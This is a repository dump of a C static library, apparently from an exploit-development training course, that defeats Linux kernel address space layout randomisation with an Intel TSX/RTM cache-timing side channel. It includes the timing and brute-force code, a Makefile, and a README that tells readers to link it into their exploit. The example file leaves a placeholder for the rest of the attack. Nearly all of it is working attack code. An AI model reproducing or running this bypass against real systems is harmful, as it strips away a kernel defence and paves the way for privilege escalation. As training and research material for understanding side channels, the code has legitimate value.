├── example.c ├── Makefile ├── README.md ├── util.h ├── util.c └── kaslr.c /example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | uint64_t get_kaslr_offset(void); 6 | 7 | int main(void) { 8 | uint64_t offset = get_kaslr_offset(); 9 | 10 | if (offset == -1) 11 | exit(-1); 12 | 13 | printf("offset = %lx\n", offset); 14 | 15 | /* 16 | exploit magic ... 17 | */ 18 | } 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | libkaslr.a: util.o kaslr.o 2 | ar rcs libkaslr.a util.o kaslr.o 3 | ranlib libkaslr.a 4 | 5 | kaslr.o: kaslr.c 6 | gcc -D_DEBUG -c kaslr.c 7 | 8 | util.o: util.c 9 | gcc -D_DEBUG -c util.c 10 | 11 | clean: 12 | rm -fr *.o libkaslr.a example 13 | 14 | example: libkaslr.a example.c 15 | gcc example.c -o example -static -L. -lpthread -lkaslr -lpthread -lm 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Linux kASLR (Intel TSX/RTM) bypass static library 2 | 3 | Uses Intel TSX/RTM (Restricted Transactional Memory) cache side-channel to get 4 | the kernel offset. 5 | 6 | ## Usage 7 | 8 | Link libkaslr.a to your exploit and call `get_kaslr_offset()` to get the 9 | offset. The return value is either the kernel offset or (uint64_t)-1 on error. 10 | 11 | ``` 12 | $ gcc example.c libkaslr.a -static -lm -lpthread 13 | ``` 14 | 15 | Might try running `get_kaslr_offset()` in a loop to make sure the return value 16 | is stable. 17 | 18 | https://asciinema.org/a/UQhuoTWP3ZtfPbPMR69OLSK1f 19 | -------------------------------------------------------------------------------- /util.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTIL_H 2 | #define _UTIL_H 3 | 4 | #define _XBEGIN_STARTED (~0u) 5 | #define _NROUNDS 10000 6 | #define _SAFE_MARGIN 10 /* Kaby Lake CPUs */ 7 | #define _STD_DEV_THRESHOLD 5 8 | 9 | int pin_cpu(void); 10 | int unpin_cpu(void); 11 | int cpu_has_rtm(void); 12 | int get_nprocs(void); 13 | void start_cpu_load(void); 14 | void stop_cpu_load(void); 15 | 16 | /* XXX: need a barrier? */ 17 | static __attribute__((__always_inline__)) inline uint64_t rdtscp() { 18 | uint32_t aux; 19 | uint64_t rax, rdx; 20 | 21 | asm volatile ("rdtscp\n" : "=a" (rax), "=d" (rdx), "=c" (aux) ::); 22 | 23 | return (rdx << 32) + rax; 24 | } 25 | 26 | static __attribute__((__always_inline__)) inline int _xbegin(void) { 27 | int ret = _XBEGIN_STARTED; 28 | 29 | asm volatile(".byte 0xc7,0xf8;" \ 30 | ".long 0" : "+a" (ret) :: "memory"); 31 | return ret; 32 | } 33 | 34 | static __attribute__((__always_inline__)) inline void _xend(void) { 35 | asm volatile(".byte 0x0f,0x01,0xd5" ::: "memory"); 36 | } 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /util.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Linux exploit dev training - module 6 3 | * vnik@cyseclabs.com 4 | **/ 5 | 6 | #define _GNU_SOURCE 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define RTM_BIT (1 << 11) 23 | 24 | cpu_set_t cpuset; 25 | 26 | int cont; 27 | 28 | /* number of logical processors */ 29 | int get_nprocs(void) { 30 | return (int)sysconf(_SC_NPROCESSORS_ONLN); 31 | } 32 | 33 | void *loop(void *ptr) { 34 | while (cont) ; 35 | } 36 | 37 | void start_cpu_load(void) { 38 | int i, ncores; 39 | cpu_set_t set; 40 | 41 | CPU_ZERO(&set); 42 | 43 | ncores = get_nprocs() / 2; /* assuming Intel hyperthreading for now */ 44 | pthread_t threads[ncores]; 45 | 46 | for (i = 0; i < ncores; i++) { 47 | CPU_SET(i, &set); 48 | } 49 | 50 | cont = 1; 51 | 52 | for (i = 0; i < ncores; i++) { 53 | pthread_create(&threads[i], NULL, loop, NULL); 54 | } 55 | } 56 | 57 | void stop_cpu_load(void) { 58 | cont = 0; 59 | } 60 | 61 | 62 | int pin_cpu(void) { 63 | cpu_set_t set; 64 | 65 | CPU_ZERO(&set); 66 | CPU_SET(0, &set); 67 | 68 | sched_getaffinity(0, sizeof(cpuset), &cpuset); 69 | 70 | if (sched_setaffinity(0, sizeof(set), &set) == -1) { 71 | return -1; 72 | } 73 | } 74 | 75 | int unpin_cpu(void) { 76 | if (sched_setaffinity(0, sizeof(cpuset), &cpuset) == -1) 77 | return -1; 78 | } 79 | 80 | /* CPU supports RTM execution if CPUID.07H.EBX.RTM [bit 11] = 1 */ 81 | int cpu_has_rtm(void) { 82 | if (__get_cpuid_max(0, NULL) >= 7) { 83 | unsigned a, b, c, d; 84 | __cpuid_count(7, 0, a, b, c, d); 85 | 86 | return (b & RTM_BIT); 87 | } 88 | return 0; 89 | 90 | } 91 | 92 | int get_ncores(void) { 93 | if (__get_cpuid_max(0, NULL) >= 7) { 94 | unsigned eax = 0, ebx = 0, ecx = 0, edx = 0; 95 | __get_cpuid(0xb, &eax, &ebx, &ecx, &edx); 96 | 97 | printf("ebx = %d\n", ebx); 98 | return (ebx >> 16) & 0xff ; 99 | } 100 | return 0; 101 | } 102 | -------------------------------------------------------------------------------- /kaslr.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Linux exploit dev training - module 6 3 | * vnik@cyseclabs.com 4 | **/ 5 | 6 | #define __USE_GNU 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "util.h" 15 | 16 | static uint64_t _get_cycles(uint64_t addr) { 17 | //unsigned long start = rdtsc_beg(); 18 | unsigned long start = rdtscp(); 19 | unsigned long tmp; 20 | 21 | if (_xbegin() == _XBEGIN_STARTED) { 22 | /* read access */ 23 | tmp = *((unsigned long *)addr); 24 | _xend(); 25 | } else { 26 | //return rdtsc_end() - start; 27 | return rdtscp() - start; 28 | } 29 | 30 | return tmp; /* for -O* optimisations */ 31 | } 32 | 33 | uint64_t get_cycles(uint64_t addr, int rounds) { 34 | int i; 35 | uint64_t clk, min = ULONG_MAX; 36 | 37 | for (i = 0; i < _NROUNDS; i++) { 38 | clk = _get_cycles(addr); 39 | 40 | if (clk < min) 41 | min = clk; 42 | } 43 | 44 | return min; 45 | } 46 | 47 | static uint64_t get_mappped_cycles(void) { 48 | uint64_t clk; 49 | 50 | struct { 51 | uint16_t limit; 52 | uint64_t addr; 53 | } __attribute__((packed)) idt; 54 | 55 | asm volatile("sidt %0" : "=m" (idt)); 56 | 57 | pin_cpu(); 58 | clk = get_cycles(idt.addr, _NROUNDS); 59 | unpin_cpu(); 60 | 61 | return clk; 62 | } 63 | 64 | static uint64_t get_bogus_cycles(void) { 65 | int i; 66 | uint64_t sum = 0, sum1 = 0; 67 | uint64_t samples[_NROUNDS]; 68 | uint64_t min = ULONG_MAX; 69 | uint64_t variance, std_dev, mean; 70 | 71 | pin_cpu(); 72 | 73 | for (i = 0; i < _NROUNDS; i++) { 74 | if (i == 0) 75 | /* skip the first unstable sample */ 76 | continue; 77 | 78 | samples[i] = (long)_get_cycles(0xffffffff80000000); 79 | 80 | if (samples[i] < min) 81 | min = samples[i]; 82 | 83 | sum += samples[i]; 84 | } 85 | mean = sum / (_NROUNDS - 1); 86 | 87 | /* compute variance and standard deviation */ 88 | for (i = 1; i < _NROUNDS; i++) { 89 | sum1 += pow((samples[i] - mean), 2); 90 | } 91 | variance = sum1 / (_NROUNDS - 1); 92 | std_dev = sqrt(variance); 93 | 94 | unpin_cpu(); 95 | 96 | #ifdef _DEBUG 97 | if (std_dev > _STD_DEV_THRESHOLD) 98 | printf("Bad samples but continuing anyway\n"); 99 | #endif 100 | 101 | return min - _SAFE_MARGIN; 102 | } 103 | 104 | static uint64_t bruteforce(uint64_t mapped, uint64_t bogus) { 105 | uint64_t __addr, koffset; 106 | uint64_t clk; 107 | 108 | for (__addr = 0xffffffff81000000; __addr < 0xffffffffff000000; 109 | __addr += 0x200000) { 110 | 111 | clk = get_cycles(__addr, _NROUNDS); 112 | 113 | #ifdef _DEBUG 114 | putchar('.'); 115 | fflush(stdout); 116 | #endif 117 | 118 | if (clk < bogus) { 119 | clk = get_cycles(__addr, _NROUNDS); 120 | 121 | if (clk < bogus) { 122 | koffset = __addr - 0xffffffff81000000; 123 | #ifdef _DEBUG 124 | putchar('\n'); 125 | printf("kALSR offset = 0x%lx\n", koffset); 126 | fflush(stdout); 127 | #endif 128 | return koffset; 129 | } 130 | } 131 | } 132 | } 133 | 134 | uint64_t get_kaslr_offset(void) { 135 | uint64_t koffset, mapped = 0, bogus = 0; 136 | 137 | if (!cpu_has_rtm()) { 138 | #ifdef _DEBUG 139 | printf("No TSX/RTM support. Bailing...\n"); 140 | #endif 141 | return -1; 142 | } 143 | 144 | #ifdef _DEBUG 145 | printf("Sample iterations: %d\n", _NROUNDS); 146 | printf("Logical processors: %d\n", get_nprocs()); 147 | #endif 148 | 149 | start_cpu_load(); 150 | pin_cpu(); 151 | 152 | while (mapped >= bogus) { 153 | mapped = get_mappped_cycles(); 154 | bogus = get_bogus_cycles(); 155 | } 156 | 157 | #ifdef _DEBUG 158 | printf("mapped = %lu, bogus = %lu\n", mapped, bogus); 159 | #endif 160 | koffset = bruteforce(mapped, bogus); 161 | unpin_cpu(); 162 | stop_cpu_load(); 163 | 164 | return koffset; 165 | } 166 | --------------------------------------------------------------------------------